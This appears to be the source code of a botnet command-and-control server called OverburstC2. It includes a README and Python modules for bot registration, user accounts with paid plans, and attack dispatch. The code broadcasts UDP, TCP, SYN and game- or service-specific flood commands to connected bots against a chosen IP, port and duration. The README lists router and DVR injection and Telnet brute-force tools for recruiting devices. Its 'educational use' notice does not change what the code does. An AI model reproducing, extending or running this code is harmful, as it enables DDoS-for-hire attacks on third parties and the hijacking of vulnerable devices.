-------------------------------------------------------------------------------- /src/utils/attack_manager.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import time 3 | import threading 4 | from src.utils.validators import validate_ip, validate_port, validate_time 5 | from src.utils.security import sanitize_log 6 | from src.blacklist.blacklist import is_blacklisted 7 | from colorama import Fore 8 | 9 | class AttackManager: 10 | def __init__(self, attacks_dict, global_limits, locks, bot_manager, send_func, broadcast_func): 11 | self.attacks = attacks_dict 12 | self.global_limits = global_limits 13 | self.locks = locks 14 | self.bot_manager = bot_manager 15 | self.send = send_func 16 | self.broadcast = broadcast_func 17 | 18 | def can_launch(self, ip, port, secs, username, client): 19 | max_attacks = self.global_limits.get("max_attacks", 100) 20 | 21 | if is_blacklisted(ip): 22 | self.send(client, f'{Fore.RED}Target is blacklisted!\n') 23 | return False 24 | 25 | if not validate_ip(ip): 26 | self.send(client, f'{Fore.RED}Invalid IP address\n') 27 | return False 28 | 29 | if not validate_port(port): 30 | self.send(client, f'{Fore.RED}Invalid port number (1-65535)\n') 31 | return False 32 | 33 | min_time = self.global_limits.get("min_time", 10) 34 | max_time = self.global_limits.get("max_time", 1300) 35 | if not validate_time(secs, min_time, max_time): 36 | self.send(client, f'{Fore.RED}Invalid attack duration ({min_time}-{max_time} seconds)\n') 37 | return False 38 | 39 | with self.locks['attacks']: 40 | if len(self.attacks) >= max_attacks: 41 | self.send(client, f'{Fore.RED}No slots available!\n') 42 | return False 43 | 44 | if username in self.attacks: 45 | self.send(client, f'{Fore.RED}Attack already sent!\n') 46 | return False 47 | 48 | for user, info in self.attacks.items(): 49 | if info['target'] == ip: 50 | self.send(client, f'{Fore.RED}Target is already under flood, don\'t abuse it!\n') 51 | return False 52 | 53 | return True 54 | 55 | def launch(self, username, ip, port, secs, method): 56 | with self.locks['attacks']: 57 | self.attacks[username] = {'target': ip, 'duration': secs, 'method': method} 58 | 59 | threading.Thread(target=self._remove_after_timeout, args=(username, int(secs)), daemon=True).start() 60 | logging.info(f"Ataque iniciado: {sanitize_log(username)} => {ip}:{port} ({method}) por {secs}s") 61 | 62 | def stop(self, username): 63 | with self.locks['attacks']: 64 | if username in self.attacks: 65 | del self.attacks[username] 66 | return True 67 | return False 68 | 69 | def _remove_after_timeout(self, username, timeout): 70 | time.sleep(timeout) 71 | with self.locks['attacks']: 72 | if username in self.attacks: 73 | logging.info(f"Ataque de {sanitize_log(username)} finalizado (timeout)") 74 | del self.attacks[username] 75 | 76 | def get_count(self): 77 | with self.locks['attacks']: 78 | return len(self.attacks) 79 | 80 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 |
2 |

OverburstC2 based on SentinelaNet

3 | 4 |

5 | Dev Status 6 | 7 | 8 |

9 |

10 | Banner 11 |

12 |

13 | This botnet is an enhanced version of SentinelaNet 14 |

15 |
16 | 17 |
18 | 19 | ## Loading Bots 20 | 21 | You can use a collection of network security evaluation tools designed to identify vulnerabilities in various devices. 22 | **Intended for educational purposes and authorized security testing only.** 23 | 24 | ### **DVR Scanner** 25 | - Tests DVR devices for XML injection vulnerabilities in the NTP configuration. 26 | 27 | ### **ZHONE Router Scanner** 28 | - Tests ZHONE routers for command injection via the ping diagnostic feature. 29 | 30 | ### **Fiber Router Scanner** 31 | - Scans fiber routers running the BOA web server for command injection vulnerabilities. 32 | 33 | ### **Telnet Brute Force** 34 | - Attempts common credential combinations on IoT and network devices via Telnet. 35 | 36 | ### Exploits / Scanners / Loaders 37 | - https://github.com/CirqueiraDev/botnet-exploits 38 | 39 |
40 | 41 |
42 | 43 |
44 |

How to setup C2

45 |
46 | 47 | ### Requirements: 48 | ``` 49 | colorama==0.4.6 50 | bcrypt==4.1.2 51 | ``` 52 | ### Commands: 53 | ``` 54 | git clone https://github.com/CirqueiraDev/OverburstC2.git 55 | ``` 56 | 57 | ``` 58 | cd OverburstC2 59 | ``` 60 | 61 | ``` 62 | pip install -r requirements.txt 63 | ``` 64 | 65 | ``` 66 | python main.py 67 | ``` 68 | 69 |
70 | 71 | ## Admin Commands 72 | 73 | | Command | Description | 74 | |--------|-------------| 75 | | `!user` | Add / List / Remove users | 76 | | `!blacklist` | Add / List / Remove blacklisted targets | 77 | 78 | ## CNC Commands 79 | 80 | | Command | Description | 81 | |--------|-------------| 82 | | `help` | Shows list of commands | 83 | | `botnet` | Displays available botnet attack methods | 84 | | `bots` | Shows all connected bots | 85 | | `stop` | Stops all floods in progress | 86 | | `clear` | Clears the console screen | 87 | | `exit` | Disconnects from the C&C server | 88 | 89 | ## Payload Methods Available 90 | 91 | | Method | Description | 92 | |--------|-------------| 93 | | `.UDP` | Sends varying size UDP packets to overwhelm the target | 94 | | `.TCP` | Continuously sends TCP packets to exhaust connections | 95 | | `.SYN` | Sends SYN requests to flood pending TCP handshakes | 96 | | `.MIX` | Alternates between TCP and UDP to bypass protections | 97 | | `.VSE` | Sends Valve Source Engine protocol floods | 98 | | `.FIVEM` | Specialized payload designed for FiveM servers | 99 | | `.OVHUDP` | UDP floods with random payloads targeting specific ports | 100 | | `.OVHTCP` | Randomized byte sequences and terminators to bypass WAFs | 101 | | `.DISCORD` | Specialized UDP packet targeting Discord services | 102 | 103 |
104 | 105 | ## News / Bugs / Features 106 | 107 | - [x] Fixed: some attacks were not being launched 108 | - [x] Fixed: SyntaxError: f-string: unmatched '(' on main.py 109 | - [x] Some methods have been optimized 110 | - [x] The bot code has been reorganized 111 | - [x] STOP command fixed (I think) 112 | - [ ] Added news methods (Soon) 113 | 114 |
115 | 116 | --- 117 | 118 | ## ⚠️ Legal Notice 119 | 120 | This project is strictly intended for **educational and research purposes only**. 121 | Misuse of this software may be **illegal** and lead to **criminal penalties**. 122 | Always use cybersecurity knowledge to **defend systems**, never to attack them. 123 | 124 | --- 125 | 126 | ## 👤 Author 127 | 128 | - **CirqueiraDev** 129 | - **Discord:** Cirqueira 130 | - [Instagram Profile](https://www.instagram.com/sirkeirax/) 131 | -------------------------------------------------------------------------------- /src/database/database.py: -------------------------------------------------------------------------------- 1 | import json, os, time 2 | from datetime import datetime, timedelta 3 | import bcrypt 4 | 5 | DB_PATH = os.path.join(os.path.dirname(__file__), 'database.json') 6 | 7 | def load_users(): 8 | with open(DB_PATH, 'r') as f: 9 | data = json.load(f) 10 | return data.get("users", []) 11 | 12 | def save_users(users): 13 | with open(DB_PATH, 'w') as f: 14 | json.dump({"users": users}, f, indent=4) 15 | 16 | def hash_password(password): 17 | return bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt()).decode('utf-8') 18 | 19 | def verify_password(password, hashed): 20 | try: 21 | return bcrypt.checkpw(password.encode('utf-8'), hashed.encode('utf-8')) 22 | except: 23 | return False 24 | 25 | def add_user(username, password, plan, role, expiry_days): 26 | users = load_users() 27 | if any(u['username'] == username for u in users): 28 | return False 29 | 30 | now = datetime.now() 31 | joined_at = now.strftime("%d/%m/%Y") 32 | expires_at = (now + timedelta(days=expiry_days)).strftime("%d/%m/%Y") 33 | 34 | password_hash = hash_password(password) 35 | 36 | users.append({ 37 | "username": username, 38 | "password": password_hash, 39 | "role": role, 40 | "plan": plan, 41 | "attacks_made": 0, 42 | "joined_at": joined_at, 43 | "expires_at": expires_at 44 | }) 45 | save_users(users) 46 | return True 47 | 48 | def remove_user(username): 49 | users = load_users() 50 | initial_count = len(users) 51 | users = [u for u in users if u['username'] != username] 52 | 53 | if len(users) < initial_count: 54 | save_users(users) 55 | return True 56 | return False 57 | 58 | def get_user(username): 59 | users = load_users() 60 | for u in users: 61 | if u['username'] == username: 62 | # Verificar se o usuário expirou e atualizar plano se necessário 63 | if 'expires_at' in u: 64 | try: 65 | expiry_date = datetime.strptime(u['expires_at'], "%d/%m/%Y") 66 | if expiry_date < datetime.now() and u['plan'] != 'NoPlan': 67 | u['plan'] = 'NoPlan' 68 | for i, user in enumerate(users): 69 | if user['username'] == username: 70 | users[i] = u 71 | break 72 | save_users(users) 73 | 74 | days_remaining = (expiry_date - datetime.now()).days 75 | u['days_remaining'] = max(days_remaining, 0) 76 | 77 | except (ValueError, TypeError): 78 | u['days_remaining'] = None 79 | else: 80 | u['days_remaining'] = None 81 | 82 | return u 83 | return None 84 | 85 | def login(username, password): 86 | users = load_users() 87 | for user in users: 88 | if user['username'] == username: 89 | stored_password = user.get('password', '') 90 | if stored_password.startswith('$2b$') or stored_password.startswith('$2a$') or stored_password.startswith('$2y$'): 91 | if verify_password(password, stored_password): 92 | if 'expires_at' in user: 93 | try: 94 | expiry_date = datetime.strptime(user['expires_at'], "%d/%m/%Y") 95 | if expiry_date < datetime.now() and user['plan'] != 'NoPlan': 96 | user['plan'] = 'NoPlan' 97 | for i, u in enumerate(users): 98 | if u['username'] == username: 99 | users[i] = user 100 | break 101 | save_users(users) 102 | except (ValueError, TypeError): 103 | pass 104 | return True 105 | else: 106 | if user['password'] == password: 107 | user['password'] = hash_password(password) 108 | for i, u in enumerate(users): 109 | if u['username'] == username: 110 | users[i] = user 111 | break 112 | save_users(users) 113 | if 'expires_at' in user: 114 | try: 115 | expiry_date = datetime.strptime(user['expires_at'], "%d/%m/%Y") 116 | if expiry_date < datetime.now() and user['plan'] != 'NoPlan': 117 | user['plan'] = 'NoPlan' 118 | for i, u in enumerate(users): 119 | if u['username'] == username: 120 | users[i] = user 121 | break 122 | save_users(users) 123 | except (ValueError, TypeError): 124 | pass 125 | return True 126 | return False 127 | 128 | def update_user_attack_count(username): 129 | users = load_users() 130 | for user in users: 131 | if user['username'] == username: 132 | user['attacks_made'] = user.get('attacks_made', 0) + 1 133 | save_users(users) 134 | return True 135 | return False 136 | 137 | def is_method_allowed(username, method): 138 | user = get_user(username) 139 | if not user: 140 | return False 141 | 142 | plan = user.get('plan', 'NoPlan') 143 | 144 | plans_path = os.path.join(os.path.dirname(__file__), '..', 'plans', 'plans.json') 145 | try: 146 | with open(plans_path, 'r') as f: 147 | plans_data = json.load(f) 148 | except: 149 | return False 150 | 151 | plan_data = plans_data.get('plans', {}).get(plan, {}) 152 | allowed_methods = plan_data.get('allowed_methods', []) 153 | 154 | # Remover o ponto do início do método se existir 155 | if method.startswith('.'): 156 | method = method[1:] 157 | 158 | return method in allowed_methods -------------------------------------------------------------------------------- /src/utils/command_handler.py: -------------------------------------------------------------------------------- 1 | from colorama import Fore 2 | from src.database.database import get_user, update_user_attack_count, is_method_allowed 3 | from src.methods.methods import botnetMethodsName, isBotnetMethod 4 | from src.commands.commands import handle_admin_commands 5 | from src.utils.ui import colorize_text_gradient, ANSI_CLEAR, COLORS 6 | from src.utils.security import sanitize_log, sanitize_command 7 | 8 | class CommandHandler: 9 | def __init__(self, server): 10 | self.server = server 11 | 12 | def handle(self, client, username, session_token, data): 13 | gray = Fore.LIGHTBLACK_EX 14 | white = Fore.LIGHTWHITE_EX 15 | green = Fore.LIGHTGREEN_EX 16 | red = Fore.LIGHTRED_EX 17 | yellow = Fore.LIGHTYELLOW_EX 18 | blue = Fore.LIGHTBLUE_EX 19 | 20 | if len(data) > self.server.max_data_len: 21 | self.server.send(client, f'{red}Command too long\n') 22 | return True 23 | 24 | args = data.split(' ') 25 | command = args[0].upper() 26 | 27 | self.server.send(client, ANSI_CLEAR, False) 28 | for line in self.server.banner.split('\n'): 29 | self.server.send(client, line) 30 | 31 | if command.startswith('!'): 32 | handle_admin_commands(command, args, client, self.server.send, username) 33 | return True 34 | 35 | if command in ['HELP', '?', 'COMMANDS']: 36 | self._handle_help(client, gray, white) 37 | 38 | elif command == 'BOTNET': 39 | self._handle_botnet(client, username, white, yellow, red) 40 | 41 | elif command in ['BOTS', 'ZOMBIES']: 42 | self._handle_bots(client) 43 | 44 | elif command == 'STOP': 45 | self._handle_stop(client, username, gray, white) 46 | 47 | elif command in ['OWNER', 'CREDITS']: 48 | self._handle_owner(client, blue, gray) 49 | 50 | elif command in ['CLEAR', 'CLS']: 51 | self._handle_clear(client, username) 52 | 53 | elif command in ['LOGOUT', 'QUIT', 'EXIT', 'BYE']: 54 | self._handle_logout(client, blue) 55 | return False 56 | 57 | elif isBotnetMethod(command): 58 | return self._handle_attack(client, username, command, args, gray, white, yellow, green, red) 59 | else: 60 | self.server.send(client, f'{red}{command} not found!\n') 61 | 62 | return True 63 | 64 | def _handle_help(self, client, gray, white): 65 | self.server.send(client, colorize_text_gradient('Commands: Description:')) 66 | self.server.send(client, f'{white}HELP{gray} Shows list of commands') 67 | self.server.send(client, f'{white}BOTNET{gray} Shows list of botnet attack methods') 68 | self.server.send(client, f'{white}BOTS{gray} Shows all conected bots') 69 | self.server.send(client, f'{white}STOP{gray} Stop all your floods in progress') 70 | self.server.send(client, f'{white}CLEAR{gray} Clears the screen') 71 | self.server.send(client, f'{white}OWNER{gray} Shows owner information') 72 | self.server.send(client, f'{white}LOGOUT{gray} Disconnects from C&C server\n') 73 | 74 | def _handle_botnet(self, client, username, white, yellow, red): 75 | botnetMethods = botnetMethodsName('ALL') 76 | self.server.send(client, colorize_text_gradient('Botnet Methods:')) 77 | 78 | user_data = get_user(username) 79 | for method, desc in botnetMethods.items(): 80 | method_name = method[1:] if method.startswith('.') else method 81 | method_available = is_method_allowed(username, method_name) 82 | 83 | if method_available: 84 | self.server.send(client, f"{white}{method} {yellow}{desc}") 85 | else: 86 | self.server.send(client, f"{white}{method} {yellow}{desc} {red}[Upgrade Required]") 87 | 88 | self.server.send(client, '') 89 | 90 | def _handle_bots(self, client): 91 | self.server.send(client, ANSI_CLEAR, False) 92 | for line in self.server.banner.split('\n'): 93 | self.server.send(client, line) 94 | self.server.bot_manager.list_architectures(client, self.server.send) 95 | 96 | def _handle_stop(self, client, username, gray, white): 97 | import logging 98 | if self.server.attack_manager.stop(username): 99 | self.server.broadcast('STOP', username) 100 | self.server.send(client, f'\n{gray}> {white}Your flooding has been successfully stopped.\n') 101 | logging.info(f"Ataque de {sanitize_log(username)} parado manualmente") 102 | else: 103 | self.server.send(client, f'\n{gray}> {white}You have no floods in progress.\n') 104 | 105 | def _handle_owner(self, client, blue, gray): 106 | self.server.send(client, f'\n{blue}Instagram{gray}: {COLORS["Q"]}cirqueirax') 107 | self.server.send(client, f'{blue}Telegram{gray}: {COLORS["Q"]}Cirqueiraz') 108 | self.server.send(client, f'{blue}Discord{gray}: {COLORS["Q"]}cirqueira') 109 | self.server.send(client, f'{blue}GitHub{gray}: {COLORS["Q"]}CirqueiraDev\n') 110 | 111 | def _handle_clear(self, client, username): 112 | self.server.send(client, ANSI_CLEAR, False) 113 | user_data = get_user(username) 114 | self.server.return_banner(client, username, user_data) 115 | 116 | def _handle_logout(self, client, blue): 117 | self.server.send(client, f'\n{blue}America ya!\n') 118 | import time 119 | time.sleep(1) 120 | 121 | def _handle_attack(self, client, username, command, args, gray, white, yellow, green, red): 122 | method_name = command[1:] if command.startswith('.') else command 123 | if not is_method_allowed(username, method_name): 124 | self.server.send(client, f'{red}This method is not available in your plan. Upgrade to use it.\n') 125 | return True 126 | 127 | if len(args) != 4: 128 | self.server.send(client, f'Usage: {gray}{command} [IP] [PORT] [TIME]\n') 129 | return True 130 | 131 | ip = args[1] 132 | port = args[2] 133 | secs = args[3] 134 | 135 | if not self.server.attack_manager.can_launch(ip, port, secs, username, client): 136 | return True 137 | 138 | attack_info = f''' 139 | {gray}> {white}Method {gray}: {yellow}{botnetMethodsName(command).strip()}{gray} 140 | {gray}> {white}Target {gray}: {white}{ip}{gray} 141 | {gray}> {white}Port {gray}: {white}{port}{gray} 142 | {gray}> {white}Duration {gray}: {white}{secs}{gray} 143 | ''' 144 | for line in attack_info.split('\n'): 145 | self.server.send(client, line) 146 | 147 | sanitized_cmd = sanitize_command(command) 148 | self.server.broadcast(f'{sanitized_cmd} {ip} {port} {secs}', username) 149 | 150 | bots_count = self.server.bot_manager.get_count() 151 | self.server.send(client, f'{green} Attack sent to {bots_count} bots\n') 152 | 153 | self.server.attack_manager.launch(username, ip, port, secs, command) 154 | update_user_attack_count(username) 155 | 156 | return True 157 | 158 | -------------------------------------------------------------------------------- /src/commands/commands.py: -------------------------------------------------------------------------------- 1 | import threading, re 2 | from colorama import Fore 3 | from src.database.database import load_users, save_users, add_user, remove_user, get_user 4 | from src.blacklist.blacklist import load_blacklist, add_to_blacklist, remove_from_blacklist, is_blacklisted 5 | 6 | def handle_admin_commands(command, args, client, send, username): 7 | user_data = get_user(username) 8 | if not user_data or user_data.get("role") != "admin": 9 | send(client, f"{Fore.RED}You don't have permission to use admin commands!\n") 10 | return 11 | 12 | if command == "!USER": 13 | handle_user_command(args, client, send) 14 | elif command == "!BLACKLIST": 15 | handle_blacklist_command(args, client, send) 16 | else: 17 | send(client, f"{Fore.RED}Unknown admin command: {command}\n") 18 | 19 | def handle_user_command(args, client, send): 20 | gray = Fore.LIGHTBLACK_EX 21 | C = Fore.LIGHTWHITE_EX 22 | R = Fore.RED 23 | G = Fore.GREEN 24 | 25 | if len(args) < 2: 26 | send(client, f"{Fore.YELLOW}Usage: !USER LIST | !USER ADD | !USER REMOVE \n") 27 | return 28 | 29 | action = args[1].upper() 30 | 31 | if action == "LIST": 32 | users = load_users() 33 | if not users: 34 | send(client, f"{R}No users found in database!\n") 35 | return 36 | 37 | send(client, f"\n{C}Users in database: {G}{len(users)}") 38 | send(client, f"\n{gray}Username{' '*10}Role{' '*8}Plan{' '*8}Expires") 39 | send(client, f"{gray}-----------------------------------------------------") 40 | 41 | for user in users: 42 | username = user.get("username", "unknown") 43 | role = user.get("role", "user") 44 | plan = user.get("plan", "basic") 45 | expires = user.get("expires_at", "never") 46 | 47 | send(client, f"{C}{username:<18}{role:<12}{plan:<12}{expires}") 48 | send(client, "") 49 | 50 | elif action == "ADD": 51 | if len(args) < 7: 52 | send(client, f"{Fore.YELLOW}Usage: !USER ADD \n") 53 | return 54 | 55 | username = args[2].strip() 56 | password = args[3].strip() 57 | plan = args[4].strip().lower() 58 | role = args[5].strip().lower() 59 | expires_str = args[6].strip() 60 | 61 | if not username or len(username) > 32: 62 | send(client, f"{R}Invalid username! Must be 1-32 characters.\n") 63 | return 64 | 65 | if not re.match(r'^[a-zA-Z0-9_-]+$', username): 66 | send(client, f"{R}Invalid username format! Only alphanumeric, underscore, and dash allowed.\n") 67 | return 68 | 69 | if not password or len(password) < 4 or len(password) > 128: 70 | send(client, f"{R}Invalid password! Must be 4-128 characters.\n") 71 | return 72 | 73 | if not expires_str.isdigit(): 74 | send(client, f"{R}Invalid expiry days! Must be a number.\n") 75 | return 76 | 77 | try: 78 | expires = int(expires_str) 79 | if expires < 1 or expires > 3650: 80 | send(client, f"{R}Invalid expiry days! Must be between 1 and 3650.\n") 81 | return 82 | except (ValueError, OverflowError): 83 | send(client, f"{R}Invalid expiry days! Must be a valid number.\n") 84 | return 85 | 86 | if get_user(username): 87 | send(client, f"{R}User {username} already exists!\n") 88 | return 89 | 90 | valid_plans = ["basic", "premium", "vip"] 91 | if plan not in valid_plans: 92 | send(client, f"{R}Invalid plan! Choose from: {', '.join(valid_plans)}\n") 93 | return 94 | 95 | valid_role = ["user", "admin"] 96 | if role not in valid_role: 97 | send(client, f"{R}Invalid role! Choose from: {', '.join(valid_role)}\n") 98 | return 99 | 100 | if add_user(username, password, plan, role, expires): 101 | send(client, f"{G}User {username} with plan {plan} added successfully!\n") 102 | return 103 | 104 | send(client, f"{R}User {username} with plan {plan} NOT ADDED!\n") 105 | 106 | elif action == "REMOVE": 107 | if len(args) < 3: 108 | send(client, f"{Fore.YELLOW}Usage: !USER REMOVE \n") 109 | return 110 | 111 | username = args[2].strip() 112 | 113 | if not username or len(username) > 32: 114 | send(client, f"{R}Invalid username!\n") 115 | return 116 | 117 | if not re.match(r'^[a-zA-Z0-9_-]+$', username): 118 | send(client, f"{R}Invalid username format!\n") 119 | return 120 | 121 | user = get_user(username) 122 | 123 | if not user: 124 | send(client, f"{R}User {username} not found!\n") 125 | return 126 | 127 | users = load_users() 128 | users = [u for u in users if u['username'] != username] 129 | save_users(users) 130 | send(client, f"{G}User {username} removed successfully!\n") 131 | 132 | else: 133 | send(client, f"{R}Unknown user command: {action}\n") 134 | 135 | def handle_blacklist_command(args, client, send): 136 | gray = Fore.LIGHTBLACK_EX 137 | C = Fore.LIGHTWHITE_EX 138 | R = Fore.RED 139 | G = Fore.GREEN 140 | 141 | if len(args) < 2: 142 | send(client, f"{Fore.YELLOW}Usage: !BLACKLIST LIST | !BLACKLIST ADD | !BLACKLIST REMOVE \n") 143 | return 144 | 145 | action = args[1].upper() 146 | 147 | if action == "LIST": 148 | blacklist = load_blacklist() 149 | if not blacklist: 150 | send(client, f"{R}Blacklist is empty!\n") 151 | return 152 | 153 | send(client, f"\n{C}Blacklisted IPs: {G}{len(blacklist)}") 154 | send(client, f"\n{gray}IP Address") 155 | send(client, f"{gray}---------------") 156 | 157 | for ip in blacklist: 158 | send(client, f"{C}{ip}") 159 | send(client, "") 160 | 161 | elif action == "ADD": 162 | if len(args) < 3: 163 | send(client, f"{Fore.YELLOW}Usage: !BLACKLIST ADD \n") 164 | return 165 | 166 | ip = args[2] 167 | 168 | import re 169 | pattern = re.compile(r'^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$') 170 | if not pattern.match(ip): 171 | send(client, f"{R}Invalid IP format!\n") 172 | return 173 | 174 | result = add_to_blacklist(ip) 175 | if "successfully" in result: 176 | send(client, f"{G}{result}\n") 177 | else: 178 | send(client, f"{R}{result}\n") 179 | 180 | elif action == "REMOVE": 181 | if len(args) < 3: 182 | send(client, f"{Fore.YELLOW}Usage: !BLACKLIST REMOVE \n") 183 | return 184 | 185 | ip = args[2] 186 | result = remove_from_blacklist(ip) 187 | 188 | if "successfully" in result: 189 | send(client, f"{G}{result}\n") 190 | else: 191 | send(client, f"{R}{result}\n") 192 | 193 | else: 194 | send(client, f"{R}Unknown blacklist command: {action}\n") 195 | 196 | 197 | # Verificar comandos de administração 198 | # if command.startswith('!'): 199 | # from src.commands.commands import handle_admin_commands 200 | # handle_admin_commands(command, args, client, send, username) 201 | # send(client, prompt, False) 202 | # continue 203 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import threading 2 | import socket 3 | import time 4 | import logging 5 | import os 6 | import base64 7 | import secrets 8 | from datetime import datetime 9 | from colorama import Fore, init 10 | 11 | from src.config.config import configs 12 | from src.database.database import login, get_user 13 | from src.utils.validators import validate_username 14 | from src.utils.security import sanitize_log, sanitize_command, verify_bot_auth, RateLimiter 15 | from src.utils.network import safe_recv, setup_ssl_socket, create_server_socket 16 | from src.utils.ui import colorize_text_gradient, send as ui_send, format_banner_info, format_title, ANSI_CLEAR, COLORS 17 | from src.utils.bot_manager import BotManager 18 | from src.utils.attack_manager import AttackManager 19 | from src.utils.session_manager import SessionManager 20 | from src.utils.command_handler import CommandHandler 21 | 22 | base_dir = os.path.abspath(os.path.dirname(os.path.dirname(__file__))) 23 | log_dir = os.path.join(base_dir, 'logs') 24 | if not os.path.isabs(log_dir) or not log_dir.startswith(base_dir): 25 | log_dir = os.path.join(base_dir, 'logs') 26 | os.makedirs(log_dir, exist_ok=True) 27 | 28 | logging.basicConfig( 29 | level=logging.INFO, 30 | format='%(asctime)s [%(levelname)s] %(message)s', 31 | handlers=[ 32 | logging.FileHandler(os.path.join(log_dir, f'sentinela_{datetime.now().strftime("%Y%m%d")}.log')), 33 | logging.StreamHandler() 34 | ] 35 | ) 36 | 37 | class SentinelaServer: 38 | def __init__(self): 39 | logging.info("Inicializando servidor Sentinela") 40 | self.config = configs() 41 | self.global_limits = self.config.get("global_limits", {}) 42 | server_config = self.config.get("server", {}) 43 | self.c2_name = server_config.get("name", "SentinelaC2") 44 | self.host = server_config.get("host", "0.0.0.0") 45 | self.port = int(server_config.get("port", 1337)) 46 | 47 | self.clients = {} 48 | self.attacks = {} 49 | self.bots = {} 50 | self.sessions = {} 51 | self.locks = { 52 | 'clients': threading.Lock(), 53 | 'attacks': threading.Lock(), 54 | 'bots': threading.Lock(), 55 | 'sessions': threading.Lock() 56 | } 57 | 58 | self.rate_limiter = RateLimiter(max_attempts=5, window_seconds=300) 59 | self.rate_limiter.set_lock(self.locks['sessions']) 60 | 61 | bot_secret_b64 = self.config.get("bot_secret") 62 | if bot_secret_b64: 63 | self.bot_secret = base64.b64decode(bot_secret_b64.encode('utf-8')) 64 | else: 65 | self.bot_secret = secrets.token_bytes(32) 66 | 67 | self.max_username_len = 32 68 | self.max_password_len = 128 69 | self.max_data_len = 1024 70 | self.connection_timeout = 120 71 | 72 | self.bots_by_arch = { 73 | "i386": [], "mips": [], "mips64": [], "x86_64": [], 74 | "armv7l": [], "armv8l": [], "aarch64": [], "ppc64le": [], 75 | "unknown": [], 76 | } 77 | 78 | self.banner = f''' 79 | .▄▄ · ▄▄▄ . ▐ ▄ ▄▄▄▄▄▪ ▐ ▄ ▄▄▄ .▄▄▌ ▄▄▄· 80 | ▐█ ▀. ▀▄.▀·•█▌▐█•██ ██ •█▌▐█▀▄.▀·██• ▐█ ▀█ 81 | ▄▀▀▀█▄▐▀▀▪▄▐█▐▐▌ ▐█.▪▐█·▐█▐▐▌▐▀▀▪▄██▪ ▄█▀▀█ 82 | ▐█▄▪▐█▐█▄▄▌██▐█▌ ▐█▌·▐█▌██▐█▌▐█▄▄▌▐█▌▐▌▐█ ▪▐▌ 83 | ▀▀▀▀ ▀▀▀ ▀▀ █▪ ▀▀▀ ▀▀▀▀▀ █▪ ▀▀▀ .▀▀▀ ▀ ▀ 84 | Sentinela by Cirqueira | Type 'help' for commands 85 | 86 | ''' 87 | self.banner = colorize_text_gradient(self.banner) 88 | 89 | init(convert=True) 90 | self.colors = COLORS 91 | 92 | self.bot_manager = BotManager(self.bots, self.bots_by_arch, self.locks) 93 | self.session_manager = SessionManager(self.sessions, self.locks) 94 | 95 | self.attack_manager = None 96 | self.command_handler = None 97 | 98 | def send(self, socket_obj, data, escape=True, reset=True): 99 | ui_send(socket_obj, data, escape, reset) 100 | 101 | def broadcast(self, data, username): 102 | dead_bots = [] 103 | threads = self.global_limits.get("threads") 104 | 105 | sanitized_data = sanitize_command(data) 106 | sanitized_username = sanitize_command(username) 107 | 108 | with self.locks['bots']: 109 | bots_copy = list(self.bots.keys()) 110 | 111 | for bot in bots_copy: 112 | try: 113 | if len(sanitized_data) > 5: 114 | safe_cmd = f'{sanitized_data} {threads} {sanitized_username}' 115 | else: 116 | safe_cmd = f'{sanitized_data} {sanitized_username}' 117 | self.send(bot, safe_cmd, False, False) 118 | except: 119 | dead_bots.append(bot) 120 | 121 | for bot in dead_bots: 122 | try: 123 | bot.close() 124 | except: 125 | pass 126 | self.bot_manager.remove(bot) 127 | 128 | def _initialize_managers(self): 129 | if self.attack_manager is None: 130 | self.attack_manager = AttackManager( 131 | self.attacks, self.global_limits, self.locks, 132 | self.bot_manager, self.send, self.broadcast 133 | ) 134 | if self.command_handler is None: 135 | self.command_handler = CommandHandler(self) 136 | 137 | def start(self): 138 | logging.info(f"Iniciando servidor {self.c2_name} em {self.host}:{self.port}") 139 | 140 | if not (1 <= self.port <= 65535): 141 | logging.error("Porta inválida") 142 | return False 143 | 144 | self.sock = create_server_socket() 145 | server_config = self.config.get("server", {}) 146 | self.sock = setup_ssl_socket(self.sock, server_config) 147 | 148 | try: 149 | self.sock.bind((self.host, self.port)) 150 | except Exception as e: 151 | logging.error(f"Erro ao abrir porta: {e}") 152 | return False 153 | 154 | self.sock.listen() 155 | self.sock.settimeout(1.0) 156 | 157 | self._initialize_managers() 158 | 159 | threading.Thread(target=self._ping_bots_loop, daemon=True).start() 160 | threading.Thread(target=self._cleanup_sessions_loop, daemon=True).start() 161 | threading.Thread(target=self._cleanup_rate_limits_loop, daemon=True).start() 162 | 163 | logging.info(f"Servidor {self.c2_name} online!") 164 | print(f"\n[+] {self.c2_name} está online em {self.host}:{self.port}!\n") 165 | 166 | while True: 167 | try: 168 | client, address = self.sock.accept() 169 | client.settimeout(self.connection_timeout) 170 | threading.Thread(target=self.handle_client, args=(client, address), daemon=True).start() 171 | except socket.timeout: 172 | continue 173 | except Exception as e: 174 | logging.error(f"Erro ao aceitar conexão: {e}") 175 | 176 | return True 177 | 178 | def handle_client(self, client, address): 179 | try: 180 | self.send(client, f'\33]0;{self.c2_name} | Login\a', False) 181 | 182 | username = self._get_username(client) 183 | if not username: 184 | client.close() 185 | return 186 | 187 | password = self._get_password(client) 188 | if not password: 189 | client.close() 190 | return 191 | 192 | if verify_bot_auth(password, username, self.bot_secret): 193 | self.bot_manager.register(client, address, username) 194 | return 195 | 196 | if not self.rate_limiter.check_rate_limit(address): 197 | self.send(client, Fore.RED + 'Too many login attempts. Please try again later.') 198 | time.sleep(2) 199 | client.close() 200 | return 201 | 202 | self.send(client, ANSI_CLEAR, False) 203 | 204 | if not login(username, password): 205 | self.send(client, Fore.RED + 'Invalid credentials') 206 | logging.warning(f"Tentativa de login falhou: {sanitize_log(username)} de {address[0]}") 207 | time.sleep(1) 208 | client.close() 209 | return 210 | 211 | session_token = self.session_manager.create(username, address) 212 | logging.info(f"Usuário logado: {sanitize_log(username)} de {address[0]}") 213 | 214 | with self.locks['clients']: 215 | self.clients[client] = {'address': address, 'session': session_token} 216 | 217 | threading.Thread(target=self._update_title_loop, args=(client, username), daemon=True).start() 218 | threading.Thread(target=self._command_line_loop, args=(client, username, session_token), daemon=True).start() 219 | 220 | except Exception as e: 221 | logging.error(f"Erro ao processar cliente: {str(e)[:100]}") 222 | try: 223 | client.close() 224 | except: 225 | pass 226 | 227 | def _get_username(self, client): 228 | for _ in range(3): 229 | self.send(client, ANSI_CLEAR, False) 230 | self.send(client, f'{Fore.LIGHTBLUE_EX}Username{Fore.LIGHTWHITE_EX}: ', False) 231 | data = safe_recv(client, self.max_data_len) 232 | if not data: 